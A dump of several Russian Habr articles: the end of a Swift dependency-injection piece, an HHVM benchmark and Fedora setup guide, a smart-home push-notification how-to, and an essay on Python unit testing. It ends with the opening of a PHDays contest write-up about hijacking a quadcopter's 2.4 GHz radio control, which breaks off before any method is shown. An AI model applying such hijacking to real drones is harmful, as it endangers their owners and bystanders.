try await listManager.addProduct(
withID: productID,
toListWithID: $0
)
}
}
}
```
С этим последним штрихом наша функция `makeProductViewModel` теперь может просто внедрить зависимости нашей модели представления, более или менее точно так же, как это делалось при использовании нашего предыдущего сетапа на основе протокола:
```
func makeProductViewModel(
for product: Product,
localUser: User,
networking: Networking,
listManager: ListManager
) -> ProductViewModel {
ProductViewModel(
product: product,
localUser: localUser,
actions: ProductViewModel.Actions(
productID: product.id,
loader: ProductLoader(networking: networking),
listManager: listManager
)
)
}
```
При таком подходе мы, возможно, достигли довольно хорошего баланса между возможностью модульного тестирования нашей модели представления с помощью очень легкого набора абстракций, не передавая какие-либо детали реализации в любое место вызова, которое будет инициализировать эту модель представления в нашем производственном коде.
### Заключение
Хотя идеальной сетапа для внедрения зависимостей, вероятно, не существует, экспериментируя с различными методами, мы часто можем прийти к архитектуре, обеспечивающей баланс между тем, как организована наша кодовая база, ее потребностью в тестируемости и личными предпочтениями разработчиков, работающих с ней.
Я надеюсь, что вы нашли эту статью полезной и занимательной, и хотя я не говорю, что кто-то должен заменить все свои протоколы вышеизложенным функциональным сетапом, я думаю, что на этот подход, по крайней мере, стоит обратить внимание — особенно сейчас, когда у нас в распоряжении есть вся мощь `async/await`.
Чтобы узнать больше о техниках внедрения зависимостей в Swift, посетите [эту страницу](https://www.swiftbysundell.com/tags/dependency-injection), и если у вас есть какие-либо вопросы, комментарии или отзывы, не стесняйтесь связываться со мной [по электронной почте](https://www.swiftbysundell.com/contact).
---
Перевод материала подготовлен для будущих студентов курса "iOS Developer. Professional". А всех желающих приглашаем на [**открытый урок**](https://otus.pw/JXrB/) на тему «Дополненная реальность(AR) в iOS приложениях», который пройдет сегодня в 20:00. На занятии напишем мини-приложение с помощью ARKit и RealityKit. | https://habr.com/ru/post/651495/ | null | ru | null |
# HHVM (hip-hop): Сравнительное тестирование и настройка
Сегодня мы делимся результатами тестирования php скрипта с и без HHVM на скорость, а также сразу смотрим, как это внедряется, например на Fedora 20. Хотя об этом уже писали [здесь](http://habrahabr.ru/post/188056/), а [здесь](http://habrahabr.ru/post/190566/) даже проводили нечто подобное, для верности напомним: HHVM PHP (hip-hop) — это открытая виртуальная машина спроектированная для выполнения программ написанных на PHP и HACK. Использует JIT компиляцию и была разработана в Facebook.
#### Тест: HHVM + NGINX + FASTCGI vs. PHP-FPM + NGINX
Тестовый скрипт представляет из себя много регулярок, арифметических действий и обращений к базе.
В идеале для тестирования hhvm на скорость в скрипте не должно быть обращений к базе, они присутствуют в тесте только из-за того что он был нужен для текущих дел.
> Софт:
>
> Fedora 20
>
> HipHop VM 2.4.0 (rel)
>
> nginx/1.4.4
>
> PHP 5.5.12
Софт для теста: ab.
3000 запросов к скрипту в 10 потоков.
**Чистый hhvm 13.665 seconds**
> Concurrency Level: 10
>
> Time taken for tests: 13.665 seconds
>
> Complete requests: 3000
>
> Failed requests: 0
>
> Total transferred: 2142000 bytes
>
> HTML transferred: 1842000 bytes
>
> Requests per second: 219.54 [#/sec] (mean)
>
> Time per request: 45.549 [ms] (mean)
>
> Time per request: 4.555 [ms] (mean, across all concurrent requests)
>
> Transfer rate: 153.08 [Kbytes/sec] received
**nginx-fastcgi-php 31.406 seconds**
> Concurrency Level: 10
>
> Time taken for tests: 31.406 seconds
>
> Complete requests: 3000
>
> Failed requests: 0
>
> Total transferred: 2328000 bytes
>
> HTML transferred: 1842000 bytes
>
> Requests per second: 95.52 [#/sec] (mean)
>
> Time per request: 104.688 [ms] (mean)
>
> Time per request: 10.469 [ms] (mean, across all concurrent requests)
>
> Transfer rate: 72.39 [Kbytes/sec] received
>
>
**Вывод: hhvm быстрее в 2.29 раза.**
Замеры фрагментов кода внутри скрипта:
Графики построены по средним показателям за 1000 замеров.
По итогам замеров фрагментов кода видно что HHVM быстрее в 2,77 раза чем NGINX-FASTCGI-PHP.
На графике синим отмечен наиболее ускоренный участок кода (масса регулярок), он был ускорен в 113 раз!
##### Практическое применение
**Задача:** У нас есть проект, который обрабатывает очень много запросов. По этому проекту — около 10 серверов. Нужно в несколько раз сократить ресурс – либо меньше серверов, либо меньше данных.
**Решение:** Виртуальная машина для ускорения производительности HHVM устанавливается на сервер и через неё можно прогонять выполнение php скриптов. Результат: необходимое ускорение.
Подобный способ решения тем больше подходит, чем больше масштаб: если это большой проект в масштабах Facebook (создатели HHVM), в котором задействованы десятки тысяч серверов – сокращение их в два-три раза даёт ощутимый результат. По результатам нашего тестирования – на некоторых участках кода можно разогнать его в 113 раз – но об этом позже.
Конечно, у всего есть свои плюсы и минусы, HHVM не исключение, поэтому целесообразно сразу их обозначить:
**Плюсы:**
• ускорение выполнения PHP (в моём тесте на крупном блоке регулярок было ускорение в 113 раз, в целом же тестовый скрипт был ускорен в ~2 раза по причине большего количества обращений к бд.).
**Минусы:**
• не поддерживает php-mysqli (нужно использовать mysql или PDO)
• наблюдались падения сервера с PHP ошибкой о неожиданной встрече конца файла (после перезапуска сервера он продолжал работу).
#### Внедрение: Установка и настройка HHVM PHP (hip-hop) на Fedora 20
Конечно, применить HHVM для ускорения PHP — штука довольно очевидная и наверняка кто-то это уже делал, даже для Fedora. Но в русских источниках по этой теме информации значительно меньше, чем хотелось бы, поэтому делюсь сегодня небольшим, но вполне самодостаточным tutorial, от начала и до конца, как установить это на Fedora и проверить работу.
Я использовал Fedora 20, однако настройка для других ОС в принципе похожа, а ссылку на англоязычный источник для них можно найти в конце поста. Удобно то, что сейчас готовые пакеты ставятся одной командой – их не надо собирать в ручную. «На заре» HHVM открытые исходники было сложно устанавливать, но сейчас это, к счастью, уже в прошлом: теперь, если действовать по мануалу, можно установить всё и проверить, в принципе, за час. Настройка и установка укладывается в 6 последовательных шагов.
##### Шаг 1: Добавление репозитория в систему
Первым делом, добавляем репозиторий в нашу систему. Для этого создадим и откроем файл на редактирование `/etc/yum.repos.d/hhvm.repo`
Это можно сделать например так:
`vi /etc/yum.repos.d/hhvm.repo`
Запишем в него следующие строки:
```
[hhvm]
name=HHVM for Fedora $releasever - $basearch
baseurl=http://dl.hhvm.com/fedora/$releasever/$basearch/
```
Если вы пользуетесь редактором vi то после открытия файла нажмите “i” затем введите строки, далее нажмите Esc и после нажмите Shift+z+z.
Затем устанавливаем HHVM:
`rpm --import dl.hhvm.com/conf/hhvm.gpg.key
yum install hhvm`
Во во время установки возникнет диалог о инсталляции требуемых компонентов (Is this ok [y/d/N]:). Отвечаем — “да”, командой:
`y`
После этого мы видим список установленных компонентов и в конце строку “Complete!”.
Далее идём править конфиг — `/etc/hhvm/config.hdf.`
Например так:
`vi /etc/hhvm/config.hdf`
Вот пример рабочего конфига (скорей всего в нём вам нужно будет изменить только корневой путь):
```
Log {
Level = Error
UseLogFile = true
File = /var/log/hhvm-error.log
Access {
* {
File = /var/log/hhvm-access.log
Format = %h %l %u %t \"%r\" %>s %b
}
}
}
MySQL {
TypedResults = false
}
Server {
Port = 4849 #порт на котором будет работать hhvm
SourceRoot = /home/www/site/public_html #путь к корню ваших php файлов
Type = fastcgi
#ThreadCount = 50
}
Eval {
# set to true to enable JIT compiler
# If hhvm crashes you can turn this off to see if the problem
# is in the JIT.
Jit = true
}
```
Заменяем конфиг по умолчанию на тот, что предложен выше, и правим корневой путь.
##### Шаг 2: запуск HHVM
Теперь мы можем запустить HHVM. Здесь у нас два варианта – запуск в моде сервера или в моде демона.
Запуск в моде сервера — будет вывод прямо в консоль ошибок и прочего: `hhvm -m server -c /etc/hhvm/config.hfd`
Запуск в моде демона — фоновая работа: `hhvm -m daemon -c /etc/hhvm/config.hfd`
Если вы в конфиге hhvm закомментируете — `Type = fastcgi (#Type = fastcgi)`, то можно прям сейчас проверить его работу. После правки конфига нужно перезапустить hhvm.
Чтобы перезапустить hhvm в режиме демона вводим:
`netstat -lnp`
Видим список программ и их pid, находим hhvm, копируем его pid, вводим команду. `kill pid` В этой команде pid заменяем на найденный в списке номер процесса. Вводим повторно netstat -lnp для того чтобы убедится в смерти процесса. Далее запускаем hhvm в любом из модов.
Чтобы перезапустить hhvm в режиме сервера просто нажимаем Ctrl+c и далее запускаем hhvm в любом из модов.
##### Шаг 3: Добавляем PHP скрипт
После этих манипуляций положим любой php скрипт в корневой каталог указанный в конфиге hhvm.
Обращаемся к нему следующим образом:
`поменяй_на_свой_домен:4849/имя_php_скрипта.php`
Если обработанного php скрипта не видим то смотрим лог ошибок в консоли (в случае hhvm -m server), либо в файле лога ошибок командой `tail /var/log/hhvm-error.log` (в случае hhvm -m daemon).
Далее, если вы тестировали hhvm и закомментировали `Type = fastcgi` в конфиге, то раскомментируем его и перезагружаем hhvm. Если вы этого не делали то оставляем всё как есть и идём дальше.
##### Шаг 4: Настройка NGINX
Настроим nginx для проброса fastcgi в hhvm. Для этого модифицируем конфиг nginx, он тут /etc/nginx/nginx.conf. Там должна появиться следующая запись:
```
location ~ \.php$ {
#Не забудьте поправить пути на ваши (/home/www/site/public_html).
root /home/www/site/public_html;
fastcgi_pass 127.0.0.1:4849; # проброс запроса к hhvm
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /home/www/site/public_html$fastcgi_script_name;
include fastcgi_params;
}
```
Остальные настройки nginx по вкусу (главное чтобы он слушал 80 порт — server {listen 80;} ). После этого перезагружаем nginx командой:
`nginx -s reload`
Теперь мы имеем связку nginx — впереди на 80 порту, hhvm — позади на 4849 порту.
##### Шаг 5: Проверка работы HHVM + NGINX + FASTCGI
Запрашиваем адрес: [поменяй\_на\_свой\_домен/имя\_php\_скрипта.php](http://поменяй_на_свой_домен/имя_php_скрипта.php)
Должны увидеть обработанный php скрипт.
Не забываем что nginx и hhvm должны быть включены.
Если скрипта не видим идём смотреть лог ошибок. В случае hhvm -m server, прям в консоли, в случае hhvm -m daemon в файле лога ошибок например так:
`tail /var/log/hhvm-error.log`
Вот на всякий случай рабочий конфиг nginx для связки c hhvm:
```
user apache;
worker_processes 10;
events {
worker_connections 1000;
}
worker_rlimit_nofile 50000;
http {
include mime.types;
default_type application/octet-stream;
log_format my_combined '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$upstream_response_time "$host"'
sendfile on;
keepalive_timeout 10;
limit_zone lconn $binary_remote_addr 10m;
server {
client_max_body_size 1000k;
fastcgi_read_timeout 1m;
listen 8080;
listen 80;
server_name site.ru; #меняем на свой домен
access_log /var/log/nginx/site.ru-access_log my_combined; #меняем на свой домен
error_log /var/log/nginx/site.ru-error_log; #меняем на свой домен
limit_conn lconn 100;
root /home/www/site/public_html; #меняем путь на свой
index index.php index.html index.htm;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
location ~ \.php$ {
root /home/www/site/public_html; #меняем путь на свой
fastcgi_pass 127.0.0.1:4849;
fastcgi_index index.php;
#меняем путь на свой
fastcgi_param SCRIPT_FILENAME /home/www/site/public_html$fastcgi_script_name;
include fastcgi_params;
}
}
}
```
##### Шаг 6: Добавление HHVM в автозагрузку
Если вы будете использовать hhvm постоянно вам нужно будет добавить его в автозагрузку.
Открываем файл — /etc/init.d/hhvm на редактирование например так:
`vi /etc/init.d/hhvm`
Заменяем всё его содержимое на следующее:
```
#! /bin/sh
#
# hhvm Daemon for HHVM
#
# chkconfig: 2345 20 20
#
# description: HHVM is an open-source virtual machine designed for executing programs written in Hack and PHP
test -x /usr/bin/hhvm || exit 0
case "$1" in
start)
/usr/bin/hhvm --config /etc/hhvm/config.hdf --mode daemon
;;
stop)
start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/hhvm/pid
;;
reload|force-reload|restart|try-restart)
$0 stop
$0 start
;;
status)
echo "No status"
;;
*)
echo "Usage: /etc/init.d/hhvm {start|stop|restart|status}"
exit 1
esac
exit 0
```
Сохраняем.
Затем вводим команду:
`chkconfig hhvm on`
Готово! Демон hhvm будет запускаться при старте системы.
Конечно, у каждого свой путь – как конкретно это интегрировать, каждый решает сам. Тем не менее здесь всё работает именно так и собралось за минимальное количество времени — думаю, вполне можно исппользовать в живых условиях, когда нужно неплохо так сэкономить на количестве серверов, тем более если сделать это можно на основе решения с открытым кодом.
**Тут об этом уже писали ранее:**
[Обзор](http://habrahabr.ru/post/188056/)
[Установка HHVM на Nginx](http://habrahabr.ru/post/208778/)
[Тест: сравнение HHVM с нативным интерпретатором](http://habrahabr.ru/post/190566/)
**Тут можно взять HHVM в открытом доступе:**
[Github](https://github.com/facebook/hhvm)
[Facebook](https://www.facebook.com/hhvm)
[Сообщество](http://hhvm.com/)
**Тут можно почитать про технологию:**
[Википедия на английском](http://en.wikipedia.org/wiki/HipHop_for_PHP)
[Википедия на русском](http://ru.wikipedia.org/wiki/HipHop_(%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%BB%D1%8F%D1%82%D0%BE%D1%80)) | https://habr.com/ru/post/223815/ | null | ru | null |
# Как рассылать Push уведомления с контроллера умного дома
В хит-параде самых полезных функций систем автоматизации оповещения о всевозможных событиях стабильно входят в первую тройку. И если несколько лет назад самым удобных способом для этого были смс и email, то в последнее время их дополнили Push нотификации.
Они работают через интернет, поэтому нужно позаботиться об этом на объекте и устройствах клиента. Ниже о том, как настроить нотификации на контроллерах iRidium server и небольшой видеоурок.
Пуш нотификации по-разному работают для iOS и Android, но для нас это не очень важно. Понадобится только софт или контроллер [iRidium server](https://goo.gl/EtlMsy) и приложение i3 pro, установленное на клиентское устройство.
Алгоритм такой:
*1. Создаём скрипт нотификации и привязываем его к какому-либо событию
2. Настраиваем получателей в кабинете на сайте (там же, где настраиваются пользователи проекта)
3. Не забываем разрешить нотификации в настройках ОС*
Простейший скрипт выглядит так:
```
function push_from_i3(type, name, value)
{
IR.SendPush(value, "info", 1); // отправить сообщение (скрытые данные, текст сообщения, номер группы получателей)
}
```
Привязать событие драйвера системы управления можно через Схемы или те же скрипты. Простейший вариант — использовать script modifier:
Получатели в кабинете настраиваются из списка аккаунтов пользователей проекта iRidium:
Если хотите развить функционал, можно настроить обработку скрытых данных в нотификации, чтобы, например, открыть нужную страницу приложения i3 pro при нажатии на уведомление.
Есть много вариантов и дополнений — документация с примерами лежит [здесь](https://goo.gl/W6LrAl).
И чтобы окончательно убедиться, что каждый, кто захочет этим делом воспользоваться всё понял — я сделал небольшое видео с примером настройки: | https://habr.com/ru/post/370485/ | null | ru | null |
# Модульное тестирование и Python
Меня зовут Вадим, я ведущий разработчик в Поиске Mail.Ru. Я поделюсь нашим опытом проведения модульного тестирования. Статья состоит из трёх частей: в первой расскажу, чего мы вообще добиваемся с помощью модульного тестирования; во второй части описаны принципы, которым мы следуем; а из третьей части вы узнаете, как упомянутые принципы реализованы на Python.
Цели
====
Очень важно понимать, для чего вы применяете модульное тестирование. От этого будут зависеть конкретные действия. Если вы применяете модульные тесты неправильно, или с их помощью делаете не то, что хотели, то ничего хорошего не получится. Поэтому очень важно понимать заранее, какие цели вы преследуете.
В своих проектах мы преследуем несколько целей.
Первое — банальная **регрессия**: поправить что-нибудь в коде, запустить тесты и узнать, что ничего не сломалось. Хотя, на самом деле, это не так просто, как звучит.
Вторая цель — **оценить влияние архитектуры**. Если в проекте вы вводите обязательное модульное тестирование, или просто договариваетесь с разработчиками о применении модульных тестов, это немедленно отразится на стиле написания кода. Невозможно писать функции на 300 строк с 50 локальными переменными и 15 параметрами, если эти функции будут подвергаться модульному тестированию. Кроме того, благодаря этим тестам станут понятнее интерфейсы и проявятся какие-то проблемные места. Ведь если код не ахти, то и тест будет кривой, и это сразу бросится в глаза.
Третья цель — **сделать код понятнее**. Допустим, вы пришли в новый проект и вам дали 50 Мб исходников. Возможно, вы просто не сможете в них разобраться. Если модульных тестов нет, то единственный способ познакомиться с работой кода, помимо чтения исходников, это «метод тыка». Но если система достаточно сложная, то чтобы добраться через интерфейс до нужных кусков кода, может понадобиться много времени. А благодаря модульным тестам вы можете посмотреть, как код исполняется из любого места.
Четвёртая цель — **упростить отладку**. К примеру, вы нашли какой-то класс и хотите его отладить. Если вместо модульных тестов есть только системные, или вообще никаких тестов нет, то остается только добираться до нужного места через интерфейс. Мне довелось участвовать в проекте, где для тестирования некоторых фич нужно было полчаса создавать пользователя, начислять ему деньги, менять ему статус, запускать какой-нибудь cron, чтобы этот статус перевелся ещё куда-нибудь, потом еще что-нибудь нажимать в интерфейсе, запускать еще какой-нибудь cron… Через полчаса наконец появлялась бонусная программа для этого пользователя. А если бы у меня были модульные тесты, то я мог бы сразу попасть в нужное место.
Наконец, самая главная и весьма абстрактная цель, которая объединяет все предыдущие, — **комфорт**. Когда у меня есть модульные тесты, я испытываю меньше стресса при работе с кодом, поскольку понимаю, что происходит. Могу взять незнакомый исходник, поправить три строки, запустить тесты и убедиться, что код работает, как задумано. И речь даже не о том, чтобы тесты были зелеными: они могут быть и красными, но именно там, где я ожидаю. То есть я понимаю, как работает код.
Принципы
========
Если вы будете понимать свои цели, то сможете понять, что нужно сделать для их достижения. И тут начинаются проблемы. Дело в том, что по модульному тестированию написано достаточно много книг и статей, но при этом теория до сих пор весьма незрелая.
Если вы когда-нибудь читали статьи по модульному тестированию, пытались применить описанное и у вас не получалось, то весьма вероятно, что причина именно в несовершенстве теории. Такое встречается сплошь и рядом. Я, как и все разработчики, когда-то думал, что проблема во мне. А потом понял: не может быть, чтобы я столько раз ошибался. И решил, что в модульном тестировании надо исходить из своих соображений, действовать более здраво.
Стандартный совет, который вы можете встретить во всех книгах и статьях: «надо тестировать не реализацию, а интерфейс». Ведь реализация может меняться, а интерфейс не может. Давайте-ка мы его будем тестировать, чтобы тесты не падали сплошь и рядом по каждому поводу. Совет, вроде, неплохой, и всё кажется логичным. Но мы прекрасно знаем: чтобы тестировать что-то, надо выбрать какие-то тестовые значения. Обычно при тестировании функции выделяют так называемые классы эквивалентности: множество значений, при которых функция ведет себя единообразно. Грубо говоря, по тесту на каждый if. Но чтобы знать, какие у нас классы эквивалентности, необходима реализация. Вы её не тестируете, но она вам нужна, вы должны в нее заглянуть, чтобы знать, какие тестовые значения выбрать.
Поговорите с любым тестировщиком: он вам скажет, что при ручном тестировании всегда представляет себе реализацию. Он по опыту прекрасно понимает, где обычно ошибаются программисты. Тестировщик не проверяет всё подряд, сначала вводя 5, потом 6, потом 7. Он проверяет 5, abc, –7, и число на 100 знаков, поскольку знает, что реализация при этих значениях может отличаться, а при 6 и 7 — вряд ли.
Так что непонятно, как следовать принципу «тестируй интерфейс, а не реализацию». Нельзя просто взять, закрыть глаза и написать тест. Частично эту проблему пытается решить TDD. Теория предлагает вводить классы эквивалентности по одному и писать для них тесты. Я прочитал на эту тему много книг и статей, но всё как-то не клеится. Однако я согласен с тезисом, что тесты надо писать первым делом. Мы называем этот принцип «test first». У нас нет TDD, а в связи с вышесказанным, тесты пишутся не до создания кода, а параллельно с ним.
Однозначно не рекомендую писать тесты задним числом. Ведь они влияют на архитектуру, и если та уже устоялась, то и влиять на неё поздно — всё придётся переписывать. Иными словами, тестируемость кода — это отдельное свойство, которым код придётся **наделить**, сам он таким не станет. Поэтому мы стараемся писать тесты наряду с кодом. Не верьте в истории вроде «давайте напишем проект за три месяца, а потом за неделю всё покроем тестами», этого никогда не будет.
Самое главное, что нужно понимать: модульное тестирование — это не способ проверки кода, не способ проверки его корректности. Это часть вашей архитектуры, дизайна вашего приложения. Когда вы работаете с модульными тестами, вы меняете свои привычки. Тесты, которые лишь проверяют корректность, это, скорее, приемочные тесты. Будет ошибкой думать, что можно потом покрыть что-то модульными тестами, или что потом код не нужно будет проверять.
Реализация на Python
====================
Мы используем стандартную библиотеку unittest из семейства xUnit. История такая: был язык SmallTalk, и в нём библиотека SUnit. Она всем понравилась, её начали копировать. Библиотеку импортировали в Java под названием Junit, оттуда в С++ под названием CppUnit и в Ruby под названием RUnit (потом переименовали в RSpec). Наконец, из Java библиотека «переехала» в Python под названием unittest. Причём импортировали её настолько буквально, что даже CamelCase остался, хотя это не соответствует PEP 8.
Про xUnit есть замечательная книга «xUnit Test Patterns». В ней рассказывается, как работать с фреймворками этого семейства. Единственный недостаток книги заключается в её размере: она огромная, но примерно 2/3 содержимого — это каталог паттернов. А первая треть книги просто замечательная, это одна из лучших книг по IT, что я встречал.
Модульный тест — это обычный код, которому присуща некая стандартная архитектура. Все модульные тесты состоят из трех этапов: setup, exercise и verify. Вы подготавливаете данные, запускаете тесты и смотрите, всё ли пришло в нужное состояние.
### Setup
Самый сложный и интересный этап. Привести систему в изначальное состояние, из которого вы хотите её тестировать, может быть очень непросто. А состояние системы может быть сколь угодно сложным.
К моменту вызова вашей функции могло произойти множество событий, в памяти мог быть создан миллион объектов. Во всех компонентах, связанных с вашим софтом, — в файловой системе, базе данных, кэшах, — что-то уже находится, и функция может работать только в этом окружении. И если окружение не подготовить, то действия функции будут бессмысленны.
Обычно все утверждают, что ни в коем случае нельзя использовать файловые системы, базы данных, еще какие-нибудь отдельные компоненты, потому что это делает ваш тест не модульным, а интеграционным. На мой взгляд, это неверно, потому что интеграционным тест делает проверка интеграции. Если вы какими-то компонентами пользуетесь не для проверки, а просто чтобы система работала, в этом нет ничего зазорного. Ваш код взаимодействует со множеством компонентов компьютера и ОС. Единственная проблема, связанная с использованием файловой системы или БД, — это скорость.
Непосредственно в коде мы используем **dependency injection**. Можно пробрасывать в функцию параметры вместо используемых по умолчанию. Можно пробрасывать даже ссылки на библиотеки. Или можно вместо запроса подсунуть заглушку, чтобы код из тестов не обращался к сети. В атрибутах классов можно хранить кастомные логгеры, чтобы не писать на диск и экономить время.
Для заглушек мы используем обычный mock из unittest. Там же есть функция patch, которая позволяет вместо честного внедрения зависимости просто сказать: «в этом пакете тот импорт подмени на другой». Удобно, потому что не надо ничего никуда пробрасывать. Правда, потом непонятно, кто и что подменил, так что пользуйтесь аккуратно.
Что касается файловой системы, то ее подделать достаточно просто. Есть модуль io c `io.StringIO` и `io.BytesIO`. Вы можете создавать file-like-объекты, которые на самом деле не обращаются к диску. Но если вам вдруг этого мало, то есть прекрасный модуль tempfile с контекст-менеджерами для временных файлов, директорий, именованных файлов, чего угодно. Tempfile — супермодуль, если вам по какой-то причине не подошел IO.
C базой данных всё сложнее. Есть стандартная рекомендация: «используйте не настоящую, а поддельную базу». Не знаю, как вы, но я в своей жизни ни одной поддельной и достаточно функциональной базы не видел. Каждый раз, когда я спрашивал совета, что конкретно мне взять под Python или Perl, отвечали, что ничего готового никто не знает, и предлагали написать что-то свое. Я не представляю, как можно написать эмулятор, например, PostgreSQL. Другой совет: «тогда возьми SQLite». Но ведь это нарушит изоляцию, потому что SQLite работает с файловой системой. Кроме того, если вы пользуетесь чем-то вроде MySQL или PostgreSQL, то наверняка в SQLite ничего работать не будет. Если вам кажется, что вы не используете специфические возможности конкретных продуктов, то вы, скорее всего, ошибаетесь. Наверняка даже для банальных вещей, типа работы с датами, вы используете специфические возможности, которые поддерживает только ваша СУБД.
В результате обычно используют настоящую базу. Решение неплохое, только надо проявить известную долю аккуратности. Не используйте централизованную базу, потому что тесты могут между собой ломаться. В идеале, база должна сама подниматься при тестах и сама останавливаться после тестирования.
Чуть хуже ситуация, когда от вас требуется, чтобы была запущена локальная БД, которая и будет использована. Но вопрос в том, как туда попадут данные? Мы уже говорили, что должно быть некое начальное состояние системы, в базе должны быть какие-то данные. Откуда им там взяться — это непростой вопрос.
Самый наивный подход, что я встречал, — это использование копии реальной базы. С неё регулярно снималась копия, из которой удалялись чувствительные данные. Авторы рассудили, что реальные данные лучше всего подойдут для тестов. Плюс ко всему, писать тесты для копии реальной базы — это мучение. Вы же не знаете, какие там данные. Вам нужно сначала найти то, на чём вы собираетесь тестировать. Если этой информации там нет, то что делать, непонятно. Закончилось тем, что в том проекте решили писать тесты для учетной записи отдела эксплуатации, которая «никогда не поменяется». Конечно же, через какое-то время она поменялась.
За этим обычно следует решение: «давайте сделаем слепок реальной базы, скопируем её и больше не будем синхронизировать. Тогда можно будет завязываться на конкретный объект, смотреть, что там происходит и писать тесты». Сразу возникает вопрос: что будет, когда в базу добавят новые таблицы? Видимо, придется вручную вносить фейковые данные.
Но раз уж мы всё равно будем так делать, давайте сразу подготовим вручную слепок базы. Этот вариант очень похож на то, что в Django обычно называют fixtures: делают огромный JSON, заливают туда тест-кейсы на все случаи жизни, отправляют их в базу в начале тестирования, и типа всё у нас будет хорошо. У этого подхода тоже куча недостатков. Данные свалены в кучу, непонятно, что к какому тесту относится. Никто не может понять, удалили данные или не удалили. А еще бывают несовместимые состояния базы: например, одному тесту нужно, чтобы пользователей в базе не было, а другому — чтобы были. Эти два состояния нельзя одновременно хранить в одном слепке. В этом случае одному из тестов придется модифицировать базу. А раз уж этим всё равно приходится заниматься, то проще всего начать с пустой базы, чтобы каждый тест клал туда нужные данные, а по окончании тестирования очищал базу. Единственный недостаток этого подхода — сложность создания данных в каждом тесте. В одном из проектов, где я работал, для создания услуги нужно было сгенерировать 8 сущностей в разных таблицах: услуга на лицевом счете, лицевой счет на клиенте, клиент на юрлице, юрлицо в городе, клиент в городе, и так далее. Пока всё это по цепочке не создашь, foreign key не удовлетворишь, ничего не работает.
Для таких ситуаций есть специальные библиотеки, которые сильно облегчают жизнь. Можно написать вспомогательные инструменты, обычно их называют фабриками (не путайте с шаблоном проектирования). Например, мы пользовались библиотекой factory\_boy, которая подходит для Django. Это клон библиотеки factory\_girl, которую в прошлом году переименовали в factory\_bot из соображений политкорректности. Написать такую библиотеку для вашего собственного фреймворка ничего не стоит. В её основе лежит очень важная идея: вы один раз создаёте фабрику для объектов, которые хотите порождать, устанавливаете для неё связи, а потом говорите пользователю: «когда будешь создаваться, бери себе очередное имя, а группу генерируй сам с помощью фабрики групп». И в фабрике всё точно так же: имя генерируй так-то, связанные сущности такие-то.
В результате в коде остается только одна последняя строчка: `user = UserFactory()`. Пользователь создался, и с ним можно работать, потому что под капотом он сгенерировал всё, что нужно. При желании можете что-то настроить вручную.
Для вычищения данных после тестирования мы используем банальные транзакции. В начале каждого теста делается BEGIN, тест что-то делает с базой, а после теста делается ROLLBACK. Если транзакции нужны в самом тесте, — например, потому что закоммитил в базу что-то лишнее, — он вызывает метод, который мы назвали `break_db`, сообщает фреймворку, что сломал базу, и фреймворк её заново накатывает. Получается медленно, но поскольку тестов, которым нужны транзакции, обычно очень мало, то всё в порядке.
### Exercise
Про этот этап рассказывать особо нечего. Единственное, что здесь может пойти не так, — это обращение вовне, например, в интернет. Мы какое-то время с этим боролись административно: говорили программистам, что надо или мокать функции, которые ходят куда-то, или прокидывать специальные флаги, чтобы функции этого не делали. Если тест обращается к корпоративному etcd, это не хорошо. В итоге пришли к выводу, что всё впустую: сами постоянно забываем, что какая-то функция вызывает функцию, которая вызывает функцию, которая ходит в etcd. Поэтому в итоге в setUp базового класса добавили моки всех обращений, то есть заблокировали с помощью заглушек все обращения куда не положено.
Заглушки легко наделать с помощью патчеров, сложить патчеры в отдельный словарь и дать к нему доступ всем тестам. По умолчанию тесты не смогут никуда обратиться, а если для какого-то всё же понадобится открыть доступ, его можно перенаправить. Очень удобно. Jenkins больше не будет слать вашим клиентам SMS по ночам :)
### Verify
На этом этапе мы активно используем самописные assert’ы, даже однострочные. Если вы в тесте проверяете существование какого-то файла, то вместо assert `self.assertTrue(file_exists(f))` рекомендую писать assert `not file exists`. C этим связан холивар: продолжать ли использовать CamelCase в именах, как в unittest, или следовать PEP 8? У меня нет ответа. Если следовать PEP 8, то в коде теста будет каша из CamelCase и snake\_case. А если использовать CamelCase, то это не соответствует PEP 8.
И последнее. Допустим, у вас есть код, который что-то тестирует, и много вариантов данных, на которых этот код надо прогнать. Если вы используете py.test, там можно запустить один и тот же тест с разными входными данными. Если у вас нет py.test, то можете использовать [такой декоратор](https://gist.github.com/VadimPushtaev/9d888ab3bffa2e0640b6ce65b83e9066). В декоратор передаётся таблица, и один тест превращается в несколько других, каждый из которых тестирует один из кейсов.
Заключение
==========
Не доверяйте безоговорочно статьям и книгам. Если вам кажется, что они не правы, вполне возможно, что это действительно так.
Не стесняйтесь использовать в тестах зависимости. В этом нет ничего плохого. Если вы подняли memcached, потому что без него ваш код нормально не функционирует, ничего страшного. Но лучше обойтись без этого, если есть возможность.
Обратите на внимание на фабрики. Это очень интересный паттерн.
P.S. Приглашаю на мой авторский Telegram-канал по программированию на Python — @pythonetc. | https://habr.com/ru/post/418929/ | null | ru | null |
# PHD VI: как у нас угнали дрона
[](https://habrahabr.ru/company/pt/blog/302490/)
В этом году на [PHDays](http://www.phdays.ru/) был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.
Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.
Цель — перехватить управление дроном.
Входные данные:
* диапазон управления дроном: 2,4 ГГц ISM,
* управление осуществляется модулем [nRF24L01+](https://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01P) (на самом деле — его клоном [BK2423](http://www.inhaos.com/uploadfile/otherpic/BK2423 Datasheet v2.0.pdf)).
Средства (выдавались желающим): Arduino Nano, nRF24L01+.
Результат — угонщик получил Syma X8C в подарок.
Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.
#### Путь самурая — SDR
